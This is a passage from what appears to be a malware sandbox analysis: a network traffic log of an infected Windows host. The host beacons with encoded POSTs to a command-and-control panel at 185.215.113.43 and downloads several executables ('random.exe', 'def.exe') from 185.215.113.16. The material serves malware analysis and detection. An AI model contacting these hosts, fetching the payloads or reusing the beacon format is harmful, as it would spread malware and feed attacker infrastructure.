name="hwid"93F87D178FAC3343412148------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="build"doma------DHJKJKKKJJJKJKFHJJJJ--
Oct 23, 2024 17:52:44.927016020 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50076	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:44.984265089 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50077	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:46.643727064 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:47.557694912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50079	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:49.083087921 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:49.995121956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50081	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:51.701438904 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:52.629354954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50084	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:54.148833990 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:55.051341057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50085	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:54.774475098 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:52:55.697169065 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:55 GMT Content-Type: application/octet-stream Content-Length: 1925632 Last-Modified: Wed, 23 Oct 2024 15:37:20 GMT Connection: keep-alive ETag: "67191830-1d6200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPL@L\@Wk(7L6L @.rsrc@.idata @ @+@toioyzgtP1H@nacjdqiu@L<@.taggant0PL"@@
Oct 23, 2024 17:52:55.697189093 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:52:55.697251081 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:52:55.697280884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:52:55.697293997 CEST	1236	IN	Data Raw: 96 4e 18 ba cb fc c8 83 ec b1 2c b6 8f b5 a6 e0 bc dd 90 75 45 0b d2 c7 d9 2b ae 9a d6 8f a8 e5 fa 53 35 cf fb 93 24 fa d7 98 0c f8 5b aa 15 de 2b 9b e8 39 a8 b9 51 64 fd 9a 98 69 d5 7c a8 e4 5b 0f 7d 88 73 d8 4c c5 c9 5c a2 f7 1b 9a 60 8b cc 38 Data Ascii: N,uE+S5$[+9Qdi\|[}sL\`8e4MoL6Mg;F%Av3k[>[H5+y[F(looPYp9j{S1iW_r;Hfw?Mv*E,F{
Oct 23, 2024 17:52:55.697304964 CEST	1236	IN	Data Raw: 66 4f fa 09 27 67 58 b7 c3 73 ec 3a 7f e8 2b 3f 3c 4d a4 2d cd 0c cd c1 4c c6 a8 25 60 13 42 fa 4b ad 80 91 19 f3 b0 50 5a 71 d4 8c 34 8f 48 a9 af 2c 29 a5 d1 5c ab f6 b3 8d 21 4d d6 7b 2c e6 fb 4f ae 89 bb 23 df d7 7f 60 a7 31 ac d0 8c 99 4d 2a Data Ascii: fO'gXs:+?<M-L%`BKPZq4H,)\!M{,O#`1M*i{N?Zcu#)VuGJ_jwe~0bOv}Nc~SaYwOELpu
Oct 23, 2024 17:52:55.697424889 CEST	1236	IN	Data Raw: e8 a4 c9 1d 14 a2 cc c3 17 98 4f 7b cd aa f0 c6 7e 40 37 da 42 1f f4 29 37 b5 f9 25 04 9d f0 fe 28 ca d7 ea 17 b0 95 98 03 7a ac a6 f6 37 94 b7 65 23 cb 06 4f 90 2a 8b 0c f3 3c f8 78 ff 76 05 4f b2 0e 73 4d 37 8d a5 ae 2e 11 a8 13 be cd c3 87 6f Data Ascii: O{~@7B)7%(z7e#O*<xvOsM7.o[Qg]oPM{}2h@EZo.t#kU=YY?,JvXh{Kp-t!^xik^QS9GHD~>p8=H
Oct 23, 2024 17:52:55.697437048 CEST	1236	IN	Data Raw: 7e f5 a3 3f ca 33 0f 8b bf 8f 84 61 7f d5 51 a0 33 be 1a 97 05 43 a7 45 cd 15 25 1d aa 58 ff 43 b8 97 f5 3f e6 3b 7b 95 30 37 45 ca 77 02 65 9d d3 0b ae 52 3a 71 a3 fb 00 88 1c c4 ae d0 49 68 ca 5d 59 c8 c5 15 be 3e cd cf ad 80 12 b4 f3 8a 40 a6 Data Ascii: ~?3aQ3CE%XC?;{07EweR:qIh]Y>@Zq]A eK6Mr#"Z?wwM)_(R_JGu}+7Y6+6K)Ev1aH9$o8su+<E^jXTzpo\'M
Oct 23, 2024 17:52:55.697451115 CEST	1096	IN	Data Raw: 5a ef 96 79 7d 49 b6 c2 07 f4 85 b1 8b aa b0 09 60 ed 62 2b b8 b7 c8 7e 8a eb 6c 4e 78 e1 c0 a5 6b 93 20 c4 af 8a 0a 53 b9 ca 18 88 63 a4 c8 c1 14 ef df e1 e8 c9 90 fb 9e 8a 16 c2 cd a2 d6 e9 0f a8 e8 5b e4 da b9 0a 94 59 49 e3 bc 1b 8a b6 e2 e9 Data Ascii: Zy}I`b+~lNxk Sc[YI\|~V]w^T{Okif9"T3;uKDCW{n\f=qudRBu4UcIfr})]UeCz$E\'b#uU4U
Oct 23, 2024 17:52:55.697463989 CEST	1236	IN	Data Raw: 44 64 e2 86 ae c8 48 54 b9 14 d1 a0 f5 55 57 fa 97 82 be 3d 1a 07 42 21 ad 90 65 f0 1f 24 f5 3b 86 b6 f6 d3 d9 5b 98 dd 5f a1 55 4b 89 54 9c 4a 2b 10 6b 54 fb 8c 78 c1 2a f9 87 c0 a0 ff 61 f0 d0 3b 99 07 4c 2a e0 42 b7 b6 c4 e2 7b 4a 0f f3 67 1b Data Ascii: DdHTUW=B!e$;[_UKTJ+kTxa;LB{JgUC~$3B=YkL~B+$uPuT]d91{f,um;=99Vl_m'+doMg9`k'~^
Oct 23, 2024 17:52:55.702996969 CEST	1236	IN	Data Raw: ef f3 f7 46 ed ea 94 6a 1a b9 a1 88 1d 57 6c 7d 72 4f 74 b1 aa 73 d1 4d dd 8b 07 7d 03 7b a8 99 63 a1 a3 76 f7 98 5e 53 25 b9 0d 83 f2 4c ae c4 f8 d4 2e b3 d5 8b 07 79 16 d9 43 77 28 e2 04 f6 9d 9b c4 80 b2 54 28 ca 07 00 20 8c ee 5a c5 7e f6 5b Data Ascii: FjWl}rOtsM}{cv^S%L.yCw(T( Z~[68$/)o={J KD)JS<U#M.U@Q#q&C"%DN?-,r],1 g#OL=@p[\d;qRLz@(qJ($IWm?"
Oct 23, 2024 17:52:57.728082895 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:52:58.013760090 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:57 GMT Content-Type: application/octet-stream Content-Length: 1833984 Last-Modified: Wed, 23 Oct 2024 15:37:13 GMT Connection: keep-alive ETag: "67191829-1bfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pi@i@P%d% %(@.rsrc %8@.idata %8@ )%:@iadgvtjqO<@xuvqjoqm@i@.taggant0Pi"@
Oct 23, 2024 17:52:59.101162910 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:52:59.387212038 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:59 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Wed, 23 Oct 2024 15:44:06 GMT Connection: keep-alive ETag: "671919c6-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 de 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +r+`Ui` @ @.rsrc`2@.idata 8@zsdjwali*:@xurnmcxc @+@.taggant@`+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50086	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:56.694395065 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:57.612565994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	50089	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:59.148569107 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:53:00.055011988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	50095	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:00.771488905 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:01.375993967 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85242 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:01.525616884 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:01.652631044 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85242 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:01.725613117 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:01.852957010 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85242 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:02.022198915 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:02.150059938 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85243 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:02.285492897 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:02.412434101 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85243 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:02.749761105 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:02.876333952 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85243 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:02.985796928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
